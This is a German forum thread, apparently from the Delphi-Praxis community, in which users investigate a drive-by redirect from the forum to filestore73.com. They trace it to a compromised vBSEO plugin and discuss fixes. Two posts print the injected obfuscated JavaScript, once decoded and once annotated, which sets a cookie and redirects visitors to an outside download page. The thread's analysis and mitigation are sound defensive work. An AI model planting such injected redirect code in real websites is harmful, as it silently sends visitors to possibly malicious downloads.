Fehler in der DP? (FileStore73.com)

[Linor]

Hi Zusammen,

ich habe manchmal das Problem, wenn ich über Google ein Thema anspringe werde ich auf FileStore73.com redirected.

Ich kann das nachvollziehen:
Mozilla im privaten Modus starten
Google -> Suchbegriff = TDragFilesTrg
Dritter Eintrag von oben (www.delphipraxis.net/620101-post.html) und schwupp bin ich oben genannter WebSeite!

Beim zweiten mal klappt es dann, daher auch den privaten Modus, wegen der Cookies...

Kann das noch jemand nachvollziehen?

Gruß, Kai

[ATSV]

Hallo,
im Opera 10.60 habe ich das selbe verhalten.
Allerdings nur wenn ich von Google aus draufgehe über den Link hier gehts

[ChrisE]

Hallo,

ich surfe normal auch mit dem Fuchs und hab das jetzt einfach mal im Internet-Explorer ausprobiert (dort gibt es sicher keine Einträge der Delphipraxis im Cache / Cookies etc.)

Mit dem kann ich es ebenso nachvollziehen.

Gruß, Chris

[himitsu]

Auch im FF konnte ich es nachvollziehen, aber nur beim ersten Click von Google aus, danach ging es dann.

Eventuell bekommt irgendwo etwas davon mit, daß es diesen Link eigetnlich nicht mehr gibt und macht dann Werbung für eine Webseite.
(oder das Umleitungsplugin vom Daniel dreht etwas durch)

[Namenloser]

Also ich kann den Fehler nicht nachvollziehen.

[Valle]

*räusper* Oh oh ... o.O

Wenn man die DP über Google das erste Mal (keine Cookies) öffnet, dann erhält man folgende Antwort von DP-Server: klick me. Ich habe mir das noch nicht genauer angeschaut, aber so auf den ersten Blick sieht das nicht gut aus, oder?

Edit #1: Dieser Code ist nach erster Erkenntnis mit Sicherheit für die Weiterleitung verantwortlich.

Liebe Grüße,
Valle

[leddl]

Das lässt sich selbst mit dem IE6 nachvollziehen :gruebel:

[Bernhard Geyer]

Zitat:

Zitat von Valle (Beitrag 1039548)

*räusper* Oh oh ... o.O

Wenn man die DP über Google das erste Mal (keine Cookies) öffnet, dann erhält man folgende Antwort von DP-Server: klick me. Ich habe mir das noch nicht genauer angeschaut, aber so auf den ersten Blick sieht das nicht gut aus, oder?

Schaut danach aus als hätte sich die DP etwas eingefangen. Ich denke da sollte man den Doktor mit Antibiotika ranlassen ...

[mkinzler]

Also bei mir kommt die gewünschte Seite
Es liegt wohl eher an Google

[Valle]

@mkinzler: Es liegt nicht an Google. Sicher nicht. Hast du NoScript? ;-)

Also wenn man das Javascript mal dekodiert - was ich mal getan habe - dann erhält man folgendes:

HTML-Code:

   var _0x7a86 = ["getTime", "setTime", "; expires=", "toGMTString", "cookie", "=", "; path=/", "vbsp", "1", "location", "http://filestore73.com/download.php?id="];
   function ipbcc(_0xf1d9x2, _0xf1d9x3)
   {
      var _0xf1d9x4 = new Date;
      _0xf1d9x4[_0x7a86[1]](_0xf1d9x4[_0x7a86[0]]() + 86400000);
      var _0xf1d9x5 = _0x7a86[2] + _0xf1d9x4[_0x7a86[3]]();
      document[_0x7a86[4]] = _0xf1d9x2 + _0x7a86[5] + _0xf1d9x3 + _0xf1d9x5 + _0x7a86[6];
   }
   ipbcc(_0x7a86[7], _0x7a86[8]);
   document[_0x7a86[9]] = _0x7a86[10] + vbsp;

Edit: Okay, noch kurzes Kommentar dazu: Der Code ist eigentlich ganz einfach. Wenn man die Variablen einfach mal umbennen würde, dann wäre er sicher auch lesbarer. Er ändert einfach die URL auf diese mysteriöse Filesharing Seite. Der Code (der den Download angeben sollte?) wird dabei scheinbar vom Server dynamisch neu generiert. Jemand sollte bei Daniel Panik schieben. ;-)

Liebe Grüße,
Valle

[Sherlock]

Nicht gut...gar nicht gut. Aber Doktor D. macht das schon.

Für diejenigen, die sich nicht vorstellen können, was so garstig daran ist, hier mal ein nicht ganz so trockener Artikel zum Thema:
http://www.heise.de/security/artikel...t-1017983.html

Sherlock

[Daniel]

Jein. Panik wäre zuviel des Guten.

Das Problem ist bekannt und vBSEO (der Hersteller der SEO-Erweiterung für vBulletin) und InternetBrands (Hersteller von vBulletin) schieben sich gegenseitig den schwarzen Peter hin und her.


Der Code "versteckt" sich in einem Plugin von vBSEO und wenn man dort einen bestimmten Cache neu aufbaut, ist der Code auch erst mal weg. Toll ist das keinesfalls, dennoch ich das Eindringen offenbar auf genau diese eine Stelle beschränkt: Es gab bis heute keine anderen Vorkommen dieses Codes. Ich werde schauen, dass ich eine Script-Lösung entwickle, die den Schadcode erkennt und dann bei Bedarf löscht.

[blackfin]

Jetzt mal eine doofe Frage, weil ich mich mit dem Zeug nicht so auskenne:
Konnte das gefährlich für den eigenen Rechner gewesen sein, wenn man einmal auf diese ominöse Seite gelinkt wurde?

[mkinzler]

Vielleicht bevor der entsprechende Download gelöscht wurde.

[Valle]

Zitat:

Zitat von blackfin (Beitrag 1039557)

Jetzt mal eine doofe Frage, weil ich mich mit dem Zeug nicht so auskenne:
Konnte das gefährlich für den eigenen Rechner gewesen sein, wenn man einmal auf diese ominöse Seite gelinkt wurde?

So wie es ist seit ich es gesehen habe nicht. Wenn du natürlich den angegebenen Download wirklich runtergeladen und ausgeführt hast (falls es eine .exe war), dannn möglicherweise schon. Aber normalerweise reicht ein wenig Köpfchen aus, um sowas als ungefährlich zu begegnen.

Liebe Grüße,
Valle

[blackfin]

Sowas mache ich generell nicht :D
Danke für die Antworten!

[littleDave]

Ich habe mir eben mal die Mühe gemacht und den JavaScript-Source "etwas" umgeschrieben. Weiß nicht, ob alles so stimmt:

Code:

var consts = ["getTime", "setTime", "; expires=", "toGMTString", "cookie", "=", "; path=/", "vbsp", "1", "location", "http://filestore73.com/download.php?id="];
   
   
   function ipbcc(arg0, arg1)
   {
      // new Date
      var newDate = new Date;
      
      // newDate["setTime"](newDate["getTime"]() + 86400000);      
      newDate[consts[1]](newDate[consts[0]]() + 86400000);
      
      // newVar = "; expires=" + newDate["toGMTString"]();
      var newVar = consts[2] + newDate[consts[3]]();
      
      // arg0 = "vbsp"
      // arg1 = "1"
      // document["cookie"] = "vbsp" + "=" + "1" + newVar + "; path=/";  
      document[consts[4]] = arg0 + consts[5] + arg1 + newVar + consts[6];
   }
   
   // ipbcc("vbsp", "1");
   ipbcc(consts[7], consts[8]);
   // document["location"] = http://filestore73.com/download.php?id=" + vbsp 
   document[consts[9]] = consts[10] + vbsp;

Jedenfalls speichert das Script ein Cookie mit dem Namen "vbsp", der nach einem Tag abläuft. Vielleicht sollte man den lieber im Browser löschen.

Gruß

[Valle]

Zitat:

Zitat von littleDave (Beitrag 1039561)

[...] Vielleicht sollte man den lieber im Browser löschen.

Ich würde ihn eher auf 1 Jahr verlängern. :-D Nur wenn dieser Keks gesetzt ist, wird dir der JavaScript-Code untergeschoben. Anders bekommst du die Standard-DP zu sehen.

Edit:// Quelle zu Daniels Aussage.

Liebe Grüße,
Valle

[Sherlock]

Ich würde gerne Valle korrigieren und Blackfin verunsichern ;)
In diesem konkreten Fall scheint nix schlimmes zu passieren. Aber wenn man sich doch mal den von mir geposteten Link zu Gemüte führt, erkennt man, daß eben nicht eine EXE geladen werden muss, deren Start eine Bestätigung des Anwenders erfordert. Man geht heutzutage anders vor (schließlich will man ja die Nerven der Vista-User schonen).

Sherlock

[blackfin]

:shock::shock:
Mhm, aber der Link gilt ja für den Internet Exploder, und wer surft schon damit (Hoëcker, sie sind raus!)

[Valle]

Sherlock hat natürlich Recht. Aber du hast mich damit nicht korrigiert, sondern nur ergänzt. Ich bezog mich natürlich auf diesen speziellen Fall, in dem nichts passiert. Und so lange der eigene Verstand und Virenschutz funktionieren, der Rechner und die Software aktuell ist und der IE geschlossen bleibt, ist man relativ sicher. 100%ige Sicherheit gibt es nicht, das wissen wir alle, aber es gibt sicher keinen Grund Panik zu schieben. :-)

Liebe Grüße,
Valle

[Sherlock]

Ja, das stimmt. Panik ist unangebracht.

Und selbst wenn mal was passiert. So what? Ist doch alles gesichert, und eine Neuinstallation beschleunigt nur die zugemüllte Kiste :D

Sherlock

[gringolo]

Hallo zusammen,

gibt es zu diesem Problem jetzt eine schnelle Lösung?

Mein Forum mit VBulletin und VbSeo wird seit ca. 4 Wochen wie beschrieben auf Filestore73.com umgeleitet.
Die ersten Wochen konnte ich mir den Usereinbruch um ca. 400% nicht erklären.

Herzlichen Dank!

Grit

[Daniel]

Ja, es war nachweislich ein Fehler in vBSEO - nachzulesen irgendwo in deren Supportforum.
Die aktuelle Version von vBSEO ist (angeblich) nicht mehr betroffen. Maßnahmen, die hier geholfen hatten: Wenn Du (a) Dein AdminCP-Verzeichnis umbenennst (daran denken, diese Änderung auch in der config.php zu hinterlegen) und (b) die Schreibrechte von der vBSEO-Config-Datei wegnimmst, solltest Du sicher sein. Als Nebeneffekt wirst Du zwar die Schreibrechte immer wieder setzen müssen, wenn Du an der vBSEO-Config etwas ändern möchtest, aber das kommt ja zum Glück nicht so oft vor, wenn es erstmal läuft.

[gringolo]

Herzlichen Dank!

Ein Update würde das Problem also auch lösen.